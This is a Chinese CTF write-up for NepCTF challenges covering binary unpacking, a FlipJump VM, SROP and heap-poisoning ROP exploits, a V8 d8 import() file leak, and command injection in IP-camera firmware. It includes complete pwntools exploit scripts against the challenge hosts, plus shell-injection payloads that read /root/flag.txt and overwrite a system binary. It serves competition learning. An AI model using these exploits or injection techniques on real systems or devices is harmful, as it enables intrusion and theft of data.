old_left = (new_left - rotl32(old_right, amount)) & 0xFFFFFFFF
regs[left], regs[right] = old_left, old_right
return b"".join(x.to_bytes(4, "little") for x in regs)
def seed_from_witness(witness):
state = 0x9E3779B97F4A7C15
for i, b in enumerate(witness):
state ^= b << ((i & 7) * 8)
state = xorshift64(state + 0xD1B54A32D192ED03 + i)
return state
def stream_byte(seed, index):
state = seed ^ ((0xA5A5A5A5A5A5A5A5 + index * 0x100000001B3) & MASK64)
for step in range(index + 6):
state = xorshift64(state + 0x9E3779B97F4A7C15 + step)
return (state >> ((index & 7) * 8)) & 0xFF
def decrypt_flag(witness):
seed = seed_from_witness(witness)
out = []
for i in range(len(encrypted)):
addend = (0x31 + i * 0x2D + witness[(i + 5) % 64]) & 0xFF
rotation = (i * 5 + witness[(i * 3 + 7) % 64]) & 7
salt = (i * 13 + 0xA7) & 0xFF
mixed = encrypted[message_permutation[i]] ^ stream_byte(seed, i) ^ witness[(i * 7 + 11) % 64] ^ salt
out.append((rotl8(mixed, rotation) - addend) & 0xFF)
return bytes(out)
witness = recover_witness()
print(decrypt_flag(witness).decode())运行结果:
NepCTF{N0t_th1s_rUNtimE_m4y_be_next_T1me}Step 3: 编译验证
把恢复出的 witness 写入 include/generated_witness.hpp:
#pragma once
namespace cmc {
using witness = witness_bytes<
0xd4, 0xb8, 0x82, 0xdb, 0x1a, 0xa7, 0xe5, 0xde,
0xd4, 0x32, 0xdf, 0xdf, 0x4c, 0xdb, 0x0c, 0x41,
0xcf, 0x6d, 0x0a, 0xce, 0x92, 0xd4, 0xe4, 0x1a,
0xcc, 0x68, 0x89, 0xfe, 0x6f, 0xff, 0x78, 0x68,
0x12, 0x14, 0x9a, 0xea, 0xd0, 0x35, 0xe4, 0xab,
0xa2, 0x9c, 0xff, 0x4e, 0xf3, 0xf4, 0x47, 0x7f,
0xf9, 0x58, 0x86, 0x71, 0x47, 0x44, 0x33, 0x97,
0x93, 0x72, 0x27, 0x5d, 0x65, 0x85, 0x90, 0xa1>;
} // namespace cmc然后编译运行:
c++ -std=c++17 -O2 -Wall -Wextra -pedantic -Iinclude src/main.cpp -o build/compile_me_maybe.exe
./build/compile_me_maybe.exe输出同样为:
NepCTF{N0t_th1s_rUNtimE_m4y_be_next_T1me}ColorfulArray
1. 初步分析
先查看文件类型、哈希和 PE 结构:
file ColorfulArray_upxtry.exe
sha256sum ColorfulArray_upxtry.exe
objdump -x ColorfulArray_upxtry.exe输出表明它是一个 64 位 Windows 控制台程序:
PE32+ executable for MS Windows 6.00 (console), x86-64, 4 sectionsPE 的关键字段如下:
ImageBase: 0x140000000
Entry RVA: 0x003fe7d0
Entry VA: 0x1403fe7d0节表非常反常:
Section | RVA | Virtual Size | Raw Size | 特征 |
|
|
|
| 可执行、可写,几乎全为未初始化空间 |
|
|
|
| 入口点位于此节 |
|
|
|
| 导入表也被放在附近 |
|
|
|
| 重定位数据 |
正常程序很少会出现 .text 的 Raw Size 为 0、入口点却落在 .data 末端的情况。这是典型的“原代码区仅预留虚拟空间,压缩数据和解压 stub 放在另一个节中”的壳结构。
导入函数同样很少,主要只有:
LoadLibraryA
GetProcAddress
VirtualProtect
ExitProcess
strlen
memset这也是壳程序的常见特征:先依靠极少量 API 完成解压、修复导入表和内存权限,再跳转到原始入口点。
2. 识别修改版 UPX
从入口点开始反汇编:
objdump -D -Mintel \
--start-address=0x1403fe7d0 \
--stop-address=0x1403fea00 \
ColorfulArray_upxtry.exe入口处首先将:
lea rsi, [0x14033f000] ; 压缩数据
lea rdi, [rsi-0x33e000] ; 解压目标,即原 .text随后进入一段由位流控制的 LZ/NRV 解压循环,代码中可看到:
- 反复通过
add ebx, ebx/adc读取压缩位; - 读取 literal 字节并写入目标缓冲区;
- 根据负偏移从已解压数据中复制 match;
- 解压完成后扫描代码并修复
E8/E9相对调用; - 调用
LoadLibraryA、GetProcAddress重建导入表; - 使用
VirtualProtect恢复节权限; - 最后跳转到 OEP。
这组特征与 UPX x64 的 NRV 解压 stub 高度一致。题目修改了节名及部分特征,因此直接依赖 UPX! 字符串或 UPX0/UPX1 节名的识别方式会失效。
3. 无执行解包
为了避免直接运行未知 Windows 样本,可以使用 Unicorn 对入口 stub 进行仿真,只让解压器工作,不执行最终业务逻辑。
基本步骤如下:
- 按 PE 的
ImageBase映射完整镜像; - 映射栈、TEB/PEB 所需的最小内存;
- 将文件中的节复制到对应 VA;
- 对
LoadLibraryA、GetProcAddress、VirtualProtect等 API 设置 hook; - 从
0x1403fe7d0开始仿真; - 当 stub 完成解压并准备跳转到原始代码区时停止;
- dump
0x140001000开始的已解压区域。
伪代码如下:
from unicorn import Uc, UC_ARCH_X86, UC_MODE_64
from unicorn.x86_const import UC_X86_REG_RIP, UC_X86_REG_RSP
IMAGE_BASE = 0x140000000
ENTRY = 0x1403FE7D0
STACK = 0x0000000070000000
uc = Uc(UC_ARCH_X86, UC_MODE_64)
uc.mem_map(IMAGE_BASE, 0x500000)
uc.mem_map(STACK, 0x200000)
# 将 PE headers / sections 写入相应地址
# 为导入 API 安装 hook,并返回可控的假句柄或地址
uc.reg_write(UC_X86_REG_RSP, STACK + 0x1f0000)
uc.reg_write(UC_X86_REG_RIP, ENTRY)
uc.emu_start(ENTRY, 0)
unpacked = uc.mem_read(IMAGE_BASE, 0x401000)
open("ColorfulArray_unpacked.bin", "wb").write(unpacked)解包后恢复出的程序是正常的 MSVC C++ 程序。沿 CRT 启动流程进入 main 后,可以看到它将 std::cout 和 std::cin 传入核心函数:
sub_140001B50(std::cout, std::cin)后文地址均基于 ImageBase = 0x140000000。
4. 核心函数并不是普通 Flag 校验
分析 sub_140001B50 时会发现,它没有常见的 strcmp、逐字节 XOR 或哈希比较逻辑,而是在初始化一个规模很大的状态机:
- 维护 16 组哈希表/状态表;
- 运行时生成或载入约 50 万条键值记录;
- 输入被拆成单个位参与状态转移;
- 每次运行需要执行数百万次跳转。
这说明外层 C++ 代码更像一个虚拟机解释器。
将内嵌数据 dump 后搜索文件头,可以发现:
FJ@这是 FlipJump 程序文件 .fjm 的魔数。
5. FlipJump 简介与输入位序
FlipJump 是一种极简指令集。每条指令本质上只做两件事:
- 翻转内存中的某一位;
- 根据翻转后的结果跳转到指定位置。
虽然指令集极小,但可以构造任意复杂的计算。题目的 C++ 程序实际上只是一个 FlipJump 运行时。
调试输入函数后可以确认,标准输入不是按正常字符串直接参与比较,而是按 LSB-first 顺序逐位读取:
def get_input_bit(data: bytes, bit_index: int) -> int:
return (data[bit_index >> 3] >> (bit_index & 7)) & 1也就是说,每个字节的读取顺序是:
bit0, bit1, bit2, ... bit7而不是常见的 MSB-first。
题目给出的歌词和 ColorfulArray 名称主要用于提示“位、状态数组和颜色般的分支”,真正的校验逻辑仍藏在 FlipJump 程序中。
6. 从 FJM 中继续还原 RV32 程序
直接逐条解释 FlipJump 会很慢,一次输入可能需要执行数百万甚至更多条指令。更好的方式有两种:
方案 A:使用 FlipJump 的原生/高速执行引擎
将 dump 出的 .fjm 交给 FlipJump 的 native runner,在输入、输出和关键内存访问处增加日志。
方案 B:识别 FJM 中承载的上层程序
继续观察状态机的数据布局,可以发现其中还原出的是一段 RV32 代码,也就是由 C 编译得到的 RISC-V 32 位校验器。
将这部分代码与数据提取后,搜索字符串可以找到:
Fake
Err
Correct!这些字符串提供了最直接的逆向入口。对 Correct! 做交叉引用,向上回溯即可定位成功分支及其前置判断。
校验器本身很小,真正与输入有关的代码不到约 2 KB。其逻辑可以概括为:
- 读取用户输入;
- 检查长度和 Flag 格式;
- 通过若干位运算/索引运算生成中间状态;
- 将结果与内置常量表比较;
- 全部条件满足后打印
Correct!,否则进入Fake或Err分支。
数据段中还存在一段 64 字节常量,它参与了中间状态校验,但并不是直接以明文形式存储的 Flag。
7. 恢复输入约束
这里没有必要完整重写整个 RV32 程序。最省事的做法是在成功分支之前的比较位置进行插桩:
- 记录当前读取的是输入的哪一位或哪一个字节;
- 记录该比较要求的期望值;
- 将所有路径上的约束收集起来;
- 检查是否存在冲突;
- 按输入索引重新拼接字符。
简化后的约束收集逻辑如下:
required = {}
def add_constraint(index: int, value: int):
value &= 0xff
if index in required and required[index] != value:
raise ValueError("conflicting constraint")
required[index] = value
# 在 RV32 比较指令或其等价的 FlipJump 状态处调用 add_constraint()
flag = bytes(required[i] for i in range(max(required) + 1))
print(flag)恢复出的输入长度为 33 字节:
NepCTF{G0tTheTru3RealCu7eNeuro!^}Flag 的格式、长度和所有内部约束均匹配。
8. 验证
将恢复出的字符串按原样输入程序:
NepCTF{G0tTheTru3RealCu7eNeuro!^}程序最终输出:
Correct!
Program exited with exit code 0x0.因此最终 Flag 为:
NepCTF{G0tTheTru3RealCu7eNeuro!^}PWN
shadow_signal
Step 1: 基础分析
保护情况:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabledmain 的关键逻辑如下:
printf("gift: %p\n", stdout);
read(0, &ptr, 8);
puts(ptr);这里 gift 泄露的是 libc 中 _IO_2_1_stdout_ 的地址,因此可以计算 libc base。随后向 puts 传入非法地址,例如 0x1,触发 SIGSEGV,进入程序注册的 signal handler。
handler 内部会输出 signal\n,然后执行:
read(0, stack_buf, 0x500);但栈缓冲区约为 0x110 字节,因此可以覆盖 handler 的返回地址和后续 signal frame。
Step 2: SROP 思路
handler 会检查自己的返回地址是否保持不变,所以不能直接把返回地址改成普通 gadget。正确做法是:
- 覆盖到 handler 保存 RIP 的位置,写入 libc 中
__restore_rttrampoline。 - 紧跟伪造的
SigreturnFrame。 - 让
rt_sigreturn恢复寄存器,执行一次read(0, .bss, 0x400)。 - 同时把
rsp迁移到.bss。 - 第二阶段在
.bss上放普通 ROP 链,执行open("/flag", 0) -> read(3, buf, 0x100) -> write(1, buf, 0x100)。
seccomp 允许的 syscall 包含 read、write、open、mprotect、rt_sigreturn、exit、exit_group,所以 open/read/write 可以直接读 flag。
完整利用脚本:
#!/usr/bin/env python3
from pwn import *
context.clear(arch="amd64", os="linux")
context.log_level = "info"
HOST = "s7wdlc9l-wrwe-iexc-tokj-6a5a0fbb32058-neptune.nepctf.com"
PORT = 443
elf = ELF("./shadow_signal", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
rop = ROP(libc)
STDOUT_OFF = libc.symbols["_IO_2_1_stdout_"]
RESTORE_RT_OFF = next(libc.search(bytes.fromhex("48c7c00f0000000f05")))
SYSCALL_RET_OFF = next(libc.search(b"\x0f\x05\xc3"))
POP_RAX = rop.find_gadget(["pop rax", "ret"]).address
POP_RDI = rop.find_gadget(["pop rdi", "ret"]).address
POP_RSI = rop.find_gadget(["pop rsi", "ret"]).address
POP_RDX_RBX = rop.find_gadget(["pop rdx", "pop rbx", "ret"]).address
BSS = 0x404800
STAGE = BSS
FLAG_PATH = BSS + 0x300
FLAG_BUF = BSS + 0x340
def conn():
return remote(HOST, PORT, ssl=True, sni=HOST)
def make_stage2(base, path):
syscall_ret = base + SYSCALL_RET_OFF
chain = flat(
base + POP_RAX,
2,
base + POP_RDI,
FLAG_PATH,
base + POP_RSI,
0,
base + POP_RDX_RBX,
0,
0,
syscall_ret,
base + POP_RAX,
0,
base + POP_RDI,
3,
base + POP_RSI,
FLAG_BUF,
base + POP_RDX_RBX,
0x100,
0,
syscall_ret,
base + POP_RAX,
1,
base + POP_RDI,
1,
base + POP_RSI,
FLAG_BUF,
base + POP_RDX_RBX,
0x100,
0,
syscall_ret,
)
return chain.ljust(0x300, b"\x00") + path + b"\x00"
def attempt(path=b"/flag"):
io = conn()
line = io.recvline(timeout=10)
gift = int(line.split(b"0x", 1)[1], 16)
base = gift - STDOUT_OFF
log.success(f"libc base = {base:#x}")
restore_rt = base + RESTORE_RT_OFF
syscall_ret = base + SYSCALL_RET_OFF
io.send(p64(1))
io.recvuntil(b"signal\n", timeout=10)
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = STAGE
frame.rdx = 0x400
frame.rsp = STAGE
frame.rip = syscall_ret
payload = b"A" * 0x118 + p64(restore_rt) + bytes(frame)
io.send(payload)
io.send(make_stage2(base, path).ljust(0x400, b"\x00"))
data = io.recvrepeat(3)
io.close()
return data
if __name__ == "__main__":
out = attempt(b"/flag")
print(out.decode("latin-1", errors="replace"))Step 3: 运行结果
$ python exploit_shadow_signal.py
NepCTF{b581d92a-340e-d6cf-ff24-b41d02577955}onlyone
第一步:泄露栈
程序已经给了 libc 泄露,所以第一步只需要想办法拿栈地址。
最方便的目标是 __environ:
- 它是 libc 中的全局指针。
- 值本身就是栈上的环境变量数组地址。
- 不在程序对
stdin/stdout/stderr的 chunk 分配黑名单范围里。
具体做法:
add(0)free(0)poke(0, libc.sym["__environ"])add(1)取回原 chunkadd(2)得到位于__environ的 fake chunkadd(3)再拿一个同链位置用于showshow(3)泄露envp
得到的 envp 就是子进程当前栈上的环境变量区地址。
第二步:定位最后一次 write 时的 saved RIP
本题一个非常好用的事实是:
- 当程序走到最后那次
write_slot,也就是阻塞在read(0, slot->ptr, 0x30)等我们发 payload 时, - 当前
rsp和envp的差值稳定为0x250。
也就是:
target_rsp = envp - 0x250这个位置正好就是那次 read() 返回后的 saved RIP 所在处,所以可以直接覆盖返回地址。
第三步:再次 poison 到栈
重新利用 freelist:
free(2)poke(2, target_rsp)add(4)取回原 chunkadd(5)得到指向target_rsp的 fake chunk
此时 slot 5 的 ptr 就在 saved RIP 上。
第四步:0x30 字节 ret2libc
最后对 slot 5 执行 write,写入一个 0x30 的 ROP 链。
这里不需要很长链,因为当 read(0, target_rsp, 0x30) 返回时:
rsi/rdx的上下文对我们很友好- 直接调用
write就够了
最终链子是:
pop rdi ; ret
6
pop rsi ; ret
target_rsp + 40
write
"Nepnep!!"其中:
6是子进程持有的通知 pipe 写端 fdtarget_rsp + 40指向我们 payload 尾部的字符串write一次会写出 0x30 字节,但父进程只读前 6 字节,所以后面是什么无所谓
最重要的坑:不是 NepNep,而是 Nepnep
一开始很容易根据题面或者直觉认为父进程比较的是:
NepNep但实际二进制里字符串常量是:
4e 65 70 6e 65 70也就是:
Nepnep第四个字符是小写 n。
这个细节如果看错,就会出现一种很迷惑的现象:
- ROP 成功执行
write(6, ...)真的发出去了- 父进程还是输出
no flag for you
本地用 strace 可以直接看到:
write(6, "NepNep!!...", 48) = 48但因为比较串不对,父进程照样失败。把内容改成 Nepnep 之后就立刻通关。
Exp
完整远程脚本如下:
from pwn import *
context.arch = "amd64"
HOST = "fhwygbfk-amus-ebmk-hrhc-6a5b642230781-neptune.nepctf.com"
PORT = 443
libc = ELF("./src/libc.so.6", checksec=False)
DELTA = 0x250
POP_RDI = 0x10f78b
POP_RSI = 0x110a7d
def choice(io, n):
io.sendlineafter(b"> ", str(n).encode())
def add(io, idx):
choice(io, 1)
io.sendlineafter(b"idx: ", str(idx).encode())
def write_slot(io, idx, data):
choice(io, 2)
io.sendlineafter(b"idx: ", str(idx).encode())
io.sendafter(b"input: ", data.ljust(0x30, b"\0"))
def free(io, idx):
choice(io, 3)
io.sendlineafter(b"idx: ", str(idx).encode())
def show(io, idx):
choice(io, 4)
io.sendlineafter(b"idx: ", str(idx).encode())
return int(io.recvline().strip(), 16)
def poke(io, idx, value):
choice(io, 5)
io.sendlineafter(b"idx: ", str(idx).encode())
io.sendlineafter(b"qword: ", str(value).encode())
def main():
io = remote(HOST, PORT, ssl=True)
io.recvuntil(b"gift: ")
leaked_printf = int(io.recvline().strip(), 16)
libc.address = leaked_printf - libc.sym["printf"]
log.info("libc = %#x", libc.address)
target = libc.sym["__environ"]
add(io, 0)
free(io, 0)
poke(io, 0, target)
add(io, 1)
add(io, 2)
add(io, 3)
envp = show(io, 3)
log.info("envp = %#x", envp)
target_rsp = envp - DELTA
free(io, 2)
poke(io, 2, target_rsp)
add(io, 4)
add(io, 5)
payload = flat(
libc.address + POP_RDI,
6,
libc.address + POP_RSI,
target_rsp + 40,
libc.sym["write"],
) + b"Nepnep!!"
write_slot(io, 5, payload)
print(io.recvall(timeout=5).decode("latin1", errors="replace"))
if __name__ == "__main__":
main()运行结果:
NepCTF{163693d5-965f-4e34-cbf4-22b0b9e19b53}different_ROP
1. 基础分析
解压附件并查看文件信息:
unzip different_rop.zip -d different_rop_work
cd different_rop_work
chmod +x pwn qemu-hexagon
file pwn qemu-hexagon
checksec --file=./pwn关键信息如下:
pwn: ELF 32-bit LSB executable, QUALCOMM DSP6, statically linked, stripped
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)程序是 32 位 Hexagon ELF,无 PIE、无 canary、NX 开启。运行后是一个菜单程序,比较关键的是第 3 项:
3. run register calibration使用 llvm-objdump-15 -d --no-show-raw-insn --print-imm-hex pwn 反汇编,可以看到第 3 项会进入 0x21590 附近:
21590: allocframe(#0x38)
215b8: r0 = #0x0
215bc: r1 = add(r30,#-0x30)
215c0: r2 = #0x40
215c4: call 0x2b8c0
215f8: dealloc_return这里等价于执行:
read(0, r30 - 0x30, 0x40);当前函数的 frame 大小是 0x38,但是读取长度是 0x40,所以可以覆盖保存的 r30 和 r31。在 Hexagon 里,r30 类似 frame pointer,r31 是返回地址。
2. ROP 思路
程序里有一个很适合做 syscall 的片段:
21a40: r6 = memw(r30+#-0x1c)
21a44: r0 = memw(r30+#-0x20)
21a48: r1 = memw(r30+#-0x24)
21a4c: r2 = memw(r30+#-0x28)
21a50: r3 = memw(r30+#-0x2c)
21a54: r4 = memw(r30+#-0x30)
21a58: trap0(#0x1)
21a70: dealloc_return这个 gadget 会从 r30 附近取 syscall number 和参数:
r6 = syscall numberr0到r4为 syscall 参数trap0(#0x1)触发系统调用- 最后
dealloc_return根据下一组保存的r30/r31继续返回
最开始尝试直接依赖本地 QEMU 的栈地址构造链,本地能成功,但远端栈布局有偏移,会直接 core。为了避免依赖远端栈地址,最终采用无栈地址依赖的两级迁移:
- 第一次溢出只覆盖保存的
r30/r31:
saved r30 = .bss + 0x40saved r31 = 0x215b8
- 返回到程序自己的
read(0, r30-0x30, 0x40)片段,让它把一个 64 字节的小 pivot frame 读到.bss。 - 小 pivot frame 调用 syscall gadget,继续把完整二阶段 ROP 读到
.bss。 - 二阶段执行:
openat(AT_FDCWD, "/flag", O_RDONLY)read(3, buf, 0x100)write(1, buf, 0x100)
远端实际 openat("/flag") 返回的 fd 是 3,因此后续 read 使用 fd 3。
3. 完整 Exploit
from pwn import *
HOST = "ibsn3yk3-p8s3-n82c-n0bz-6a5a145131623-neptunus.nepctf.com"
PORT = 443
SYSCALL = 0x21A40
FIRST_READ = 0x215B8
BSS = 0x4C000
SYS_OPENAT = 56
SYS_READ = 63
SYS_WRITE = 64
AT_FDCWD = 0xFFFFFF9C
def u32(x):
return p32(x & 0xFFFFFFFF)
def frame(r30, syscall_no, a0=0, a1=0, a2=0, a3=0, a4=0, next_r30=0, next_pc=0):
data = bytearray(0x40)
base = r30 - 0x30
def put(addr, value):
off = addr - base
data[off:off + 4] = u32(value)
put(r30 - 0x30, a4)
put(r30 - 0x2C, a3)
put(r30 - 0x28, a2)
put(r30 - 0x24, a1)
put(r30 - 0x20, a0)
put(r30 - 0x1C, syscall_no)
put(r30, next_r30)
put(r30 + 4, next_pc)
return bytes(data)
def build_payload():
# 第一阶段:覆盖 saved r30/r31,返回到程序自带 read 片段。
stage1 = bytearray(0x40)
stage1[0x30:0x34] = u32(BSS + 0x40)
stage1[0x34:0x38] = u32(FIRST_READ)
# 第二阶段前置:向 .bss 读取完整 ROP 链。
mini = bytearray(0x40)
mini_base = BSS + 0x10
mini_r30 = BSS + 0x48
big_base = BSS + 0x100
big_len = 0x300
def put_mini(addr, value):
off = addr - mini_base
mini[off:off + 4] = u32(value)
put_mini(mini_r30 - 0x30, 0)
put_mini(mini_r30 - 0x2C, 0)
put_mini(mini_r30 - 0x28, big_len)
put_mini(mini_r30 - 0x24, big_base)
put_mini(mini_r30 - 0x20, 0)
put_mini(mini_r30 - 0x1C, SYS_READ)
put_mini(BSS + 0x40, mini_r30)
put_mini(BSS + 0x44, SYSCALL)
put_mini(mini_r30, big_base + 0x30)
put_mini(mini_r30 + 4, SYSCALL)
# 第二阶段:open/read/write 读取 /flag。
path_addr = big_base + 0xD0
buf_addr = big_base + 0x100
open_r30 = big_base + 0x30
read_r30 = big_base + 0x70
write_r30 = big_base + 0xB0
big = bytearray(big_len)
big[0x00:0x40] = frame(open_r30, SYS_OPENAT, AT_FDCWD, path_addr, 0, 0, 0, read_r30, SYSCALL)
big[0x40:0x80] = frame(read_r30, SYS_READ, 3, buf_addr, 0x100, 0, 0, write_r30, SYSCALL)
big[0x80:0xC0] = frame(write_r30, SYS_WRITE, 1, buf_addr, 0x100, 0, 0, 0, 0)
big[0xD0:0xD6] = b"/flag\x00"
return bytes(stage1) + bytes(mini) + bytes(big)
io = remote(HOST, PORT, ssl=True, sni=HOST)
io.recvuntil(b"> ")
io.sendline(b"3")
io.recvuntil(b"note> ")
io.send(build_payload())
data = io.recvall(timeout=3)
print(data.replace(b"\x00", b"").decode(errors="ignore"))运行结果:
calibration data recorded
calibration data recorded
NepCTF{0d39788f-2afa-0378-4712-807381ceed12}
timeout: the monitored command dumped core末尾的 core 不影响结果,是 ROP 链写出 flag 后没有继续做干净退出。
这……这是js?
题目信息
- 赛题名称: V8 d8 交互式沙盒
- 题目描述: 连接远程得到一个 V8 引擎的
d8交互式 shell,当前目录下有 flag 文件,但不能直接运行 shell 命令读取。 - 附件:
d8二进制、Dockerfile、run_pwn.sh、自制的ls/cat(chroot 环境用) - 远程连接:
ncat --ssl <host> 443
环境分析
从 Dockerfile 和 run_pwn.sh 可以看出服务端架构:
Dockerfile 构建要点:
┌─ 编译阶段 ──────────────────────────┐
│ gcc ls.c → ./ls │
│ gcc cat.c → ./cat │
└──────────────────────────────────────┘
┌─ 运行阶段 ──────────────────────────┐
│ d8 放入 /home/ctf/d8 │
│ flag 放入 /home/ctf/flag │
│ ls/cat 放入 /home/ctf/bin/ │
│ 只有 /bin/sh 作为 shell │
│ chroot --userspec=1000:1000 │
│ /home/ctf ./d8 │
└──────────────────────────────────────┘run_pwn.sh 关键行:
exec timeout 300 chroot --userspec=1000:1000 /home/ctf ./d8 --experimental-wasm-gc这意味着:
- 用户被 chroot 到
/home/ctf,工作目录就是 chroot 根/ - 用户身份是 uid 1000(低权限用户
ctf) - 唯一的入口进程是
d8(V8 的 standalone JavaScript shell),开启--experimental-wasm-gc - 没有
/bin/bash,只有自定义的ls和cat,无法执行任意系统命令 - flag 文件
./flag就在当前目录,权限 644
自制的 ls.c 和 cat.c 仅实现了最简单的目录列举和文件读取功能,没有额外的安全限制。
漏洞原理
V8 的 d8 支持 动态 import() —— 即使在没有文件系统访问限制的沙盒里,import() 会将目标文件当作 JavaScript 模块来解析。
关键链路:
import("./flag")
→ V8 模块加载器读取 ./flag 文件内容
→ 尝试按 JavaScript 模块语法解析
→ flag 内容 "{...}" 不是合法 JS
→ 抛出 SyntaxError
→ V8 将出错源码行(即 flag 内容)一起回显到 stderr这样,flag 就被 JavaScript 引擎的语法错误信息"带"出来了,属于侧信道信息泄露。
利用步骤
1. 连接远程 d8 shell
远程服务通过 SSL/TLS 加密,使用 Python 的 ssl 库包装 socket。
2. 发送动态 import payload
void import("./flag").catch(function(){})void确保表达式不返回值.catch(function(){})捕获 Promise rejection,防止未捕获异常导致 d8 退出- 不加这句,import 失败抛出的未捕获异常会让 d8 进程直接终止,我们就看不到后续输出
3. 收取回显
d8 会先打印 banner,然后回显执行结果。因为 import("./flag") 解析失败,输出类似:
V8 is running with experimental features enabled. Stability and security will suffer.
d8> //flag:1: SyntaxError: Unexpected token '{'
NepCTF{...}
^
SyntaxError: Unexpected token '{'
undefined
d8>第三行的 NepCTF{...} 就是 flag 内容。
完整 Exploit
import re
import socket
import ssl
from time import monotonic as now
HOST = "<remote-host>"
PORT = 443
# 核心 payload:让 d8 把 flag 当 JS 模块解析,语法错误会泄漏文件内容
PAYLOAD = b'void import("./flag").catch(function(){})\n'
FLAG_PATTERN = re.compile(r"(?:NepCTF|flag)\{[^}\r\n]+\}")
def recv_all(conn, timeout: float) -> bytes:
"""在给定的超时时间内尽可能多地收取数据"""
buf = bytearray()
deadline = now() + timeout
while now() < deadline:
try:
chunk = conn.recv(4096)
except (socket.timeout, BlockingIOError):
continue
if not chunk:
break
buf += chunk
return bytes(buf)
def exploit():
# 创建 TLS 连接(服务端是自签名证书,跳过验证)
ctx = ssl._create_unverified_context()
with ctx.wrap_socket(
socket.create_connection((HOST, PORT), timeout=15),
server_hostname=HOST
) as conn:
conn.settimeout(0.8)
# 收取 d8 启动 banner
banner = recv_all(conn, 1.5)
# 发送 payload
conn.sendall(PAYLOAD)
# 等待 d8 解析并返回错误信息
output = recv_all(conn, 8.0)
full = (banner + output).decode(errors="replace")
print(full)
match = FLAG_PATTERN.search(full)
if match:
print(f"\n[+] FLAG: {match.group()}")
else:
print("\n[-] 未在回显中找到 flag")
if __name__ == "__main__":
exploit()What's the IPC
1. 固件分析
firmware.bin 是一个完整的摄像头固件打包。头部的 TD0201AX520CE 是固件版本标识,其中嵌入了 xz 压缩段和 gzip 段。
解包后重点关注用户态主服务 rootfs-user/bin/Kylin。该二进制实现了自定义的 UDP JSON RPC 协议,用于设备的 ATE(产测)功能。
通过逆向 Kylin 服务,发现以下暴露的 RPC 方法:
Method | 用途 |
| 射频发射校准,携带 |
| 查询校准结果,执行 |
| 获取地图文件 |
| 温度查询 |
2. 漏洞定位
PTRfTxCali 在处理请求时,将 JSON 中的 mp_rate 字段直接拼接到 shell 命令中:
rtwpriv wlan0 mp_rate <mp_rate>其中 <mp_rate> 来自用户输入的 JSON 字段,未经任何过滤直接传给 system() 或 popen()。攻击者可以通过注入 ; 或 && 插入任意 shell 命令。
注入点示例:
{"method":"PTRfTxCali","param":{"mp_rate":"1;cat /root/flag.txt;#"}}3. 利用难点 — 命令回显
直接注入 cat /root/flag.txt 会执行,但 PTRfTxCali 仅返回 success,不返回命令的标准输出。
解决办法是另一个 RPC 方法 PTMpQuery:它会执行 /usr/sbin/rtwpriv ... mp_query 并将结果封装在 JSON 响应中返回。
利用策略:
- 用命令注入覆写
/usr/sbin/rtwpriv为一个自定义 shell 脚本 - 该脚本执行
cat /root/flag.txt并输出到 stdout - 调用
PTMpQuery触发脚本执行并读取回显
4. 利用过程
Step 1: 逐行构建 payload 脚本
由于单次注入长度有限且包含特殊字符可能干扰,将 payload 脚本拆成多行写入 /tmp/r,然后复制到 /usr/sbin/rtwpriv:
# 1. 创建脚本头
echo '#!/bin/sh'>/tmp/r
# 2. 追加 padding(26个0,使输出对齐以便解析)
printf '%026d'>>/tmp/r
# 3. 追加要执行的命令
printf 'cat /root/flag.txt'>>/tmp/r
# 4. 追加结束标记
printf 'echo ,,,,'>>/tmp/r
# 5. 覆盖原文件
cp /tmp/r /usr/sbin/rtwpriv
chmod +x /usr/sbin/rtwpriv每个 printf 和 echo 命令通过注入 PTRfTxCali 的 mp_rate 字段完成。
Step 2: 触发执行
发送 {"method":"PTMpQuery","param":{}}
服务端执行 /usr/sbin/rtwpriv ... mp_query,实际运行的是我们的脚本,脚本执行 cat /root/flag.txt,输出通过 JSON 响应返回。
5. 完整 Exploit
#!/usr/bin/env python3
"""
IPC Camera Firmware — UDP JSON RPC Command Injection Exploit
Target: PTRfTxCali mp_rate → command injection → overwrite rtwpriv → PTMpQuery readback
"""
import json
import re
import sys
import time
from pwn import *
context.log_level = 'info'
FLAG_RE = re.compile(rb'((?:[A-Za-z_][A-Za-z0-9_]*CTF|flag)\{[^}\r\n]+\})', re.I)
def udp_call(host, port, method, params=None, timeout=5):
"""Send a UDP JSON RPC request and return (got_response, response_body)."""
if params is None:
params = {}
body = json.dumps({"method": method, "param": params}, separators=(',', ':'))
p = remote(host, port, typ='udp', timeout=timeout)
p.send(body.encode())
try:
resp = p.recv(timeout=timeout)
got = True
except:
resp = b''
got = False
p.close()
return got, resp
def inject_cmd(host, port, cmd):
"""Inject a shell command via PTRfTxCali mp_rate field."""
return udp_call(host, port, 'PTRfTxCali', {'mp_rate': f'1;{cmd};#'})
def write_chunks(host, port, path, text, chunk_size=24):
"""Append text to a file on the target in small chunks."""
for i in range(0, len(text), chunk_size):
chunk = text[i:i + chunk_size]
ok, _ = inject_cmd(host, port, f"printf '{chunk}'>>{path}")
if not ok:
return False
return True
def deploy_payload(host, port, command):
"""Replace /usr/sbin/rtwpriv with a script that runs our command."""
log.info('Step 1/6: writing shebang')
inject_cmd(host, port, "echo '#!/bin/sh'>/tmp/r")
log.info('Step 2/6: writing output padding')
write_chunks(host, port, '/tmp/r', 'printf %026d')
log.info('Step 3/6: writing target command')
write_chunks(host, port, '/tmp/r', command)
log.info('Step 4/6: writing end marker')
write_chunks(host, port, '/tmp/r', 'echo ,,,,')
log.info('Step 5/6: copying to /usr/sbin/rtwpriv')
inject_cmd(host, port, 'cp /tmp/r /usr/sbin/rtwpriv')
log.info('Step 6/6: making executable')
inject_cmd(host, port, 'chmod +x /usr/sbin/rtwpriv')
def fetch_output(host, port):
"""Call PTMpQuery and extract the command output."""
for attempt in range(3):
ok, resp = udp_call(host, port, 'PTMpQuery', {}, timeout=3)
if ok and resp:
text = resp.decode(errors='ignore')
# Try to parse JSON response
try:
obj = json.loads(text)
if isinstance(obj, dict) and isinstance(obj.get('result'), str):
text = obj['result']
except:
pass
# Clean up the output
text = re.sub(r'^success:', '', text)
text = re.sub(r'^0+', '', text)
text = text.split(',,,')[0].strip()
if text:
return text.encode()
log.info(f'Attempt {attempt + 1} yielded no output, retrying...')
time.sleep(0.3)
return b''
def main():
if len(sys.argv) < 3:
